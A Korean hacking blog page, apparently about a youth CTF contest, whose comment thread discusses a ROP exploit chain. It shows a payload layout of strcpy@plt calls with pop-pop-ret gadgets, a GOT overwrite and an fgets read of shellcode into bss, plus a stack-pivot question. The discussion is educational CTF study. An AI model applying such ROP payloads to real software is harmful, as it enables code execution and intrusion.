    STAGE0 도 고정된 위치에 들어가니까, strcpy 함수에 의해 복사되는 dest 포인터를 STAGE0 에 넣어도 되지않나요?
    즉 정확하게는 아래처럼 최종 payload 를 구성해도 똑같이 되는게 아닌가해서요
    (STAGE_1+8 부분을 STAGE_0+44 로...)

    [strcpy@plt] [&(pop;pop;ret)] [&STAGE_0+44] [&GOT+4]
    [strcpy@plt] [&(pop;pop;ret)] [&STAGE_0+52] [&STDIN]
    [fgets@plt] [&ret] [0xdeadbeef] [len(SHELLCODE)] [0xdeadbeef]

    제가 궁금한건 어차피 STAGE0, STAGE1 이 하나로 붙어있을것이니까
    2번째 strcpy 가 끝나고 pop;pop;ret 을 하면 ESP 가 fgets 부분으로 온다음 ret 을 할텐데
    왜 중간에 [&(pop ebp;ret)] [&STAGE_1-4] [&(leave;ret)] 이것이 들어가야"만" 하는가?
    입니다~ strcpy 의 dest 포인터는 STAGE0 에서의 오프셋으로 해주나 STAGE1 에서의 오프셋으로 주나
    똑같이 고정되니까요
    • 지금 STAGE_0 payload가 실행되고있는 곳은 stack입니다.
      stack에도 STAGE_1 payload가 올라가 있긴하지만 , 스택의 주소를 알 수 없어 strcpy로 직접 스택에 복사한다는 것은 매우 힘든일입니다.

      [strcpy@plt] [&(pop;pop;ret)] [&STAGE_0+44] [&GOT+4]

      간추리자면 "STAGE_0은 stack에서 실행되고 있는데 &STAGE_0+44의 주소를 알 수가 없기때문"입니다
  3. 아...!! 곰곰히 생각해보니 제가 완전착각을 했네요~~ strcpy 에서 fgets 가 사용할 데이터를 채워줄 위치가 bss 니까 당연히 fgets 가 호출될때 스택포인터가 당연히 그쪽으로 이동해야겠네요 --; 아직 미숙하다보니 햇갈리네요 ㅋㅋㅋ 문제풀면서 많이 배웠습니다~ 감사합니다
  4. 아.. 이런 방법이 있었군요. 이건 쫌 그레이스 하네요. -_-b.
secret

수상권이랑은 아주 멀지만~ 다시 공부하는 겸해서 써보았습니다 ㅋㅋ

이번대회에서도 시스템해킹 관련문제가 나오지않아서 아쉽네요~ 

가장 재미있는 분야인데 청소년대회에서 찾아보긴 엄청 힘들군요 .. ㅎㅎ


문제풀이보고서

newheart_hacking_festival_report_pwn3r.pdf

 


좀더 공부해서 다음번에 좋은결과 받을 수 있도록 노력해야겠습니다~


WRITTEN BY
pwn3r_45

트랙백  47 , 댓글  0개가 달렸습니다.
secret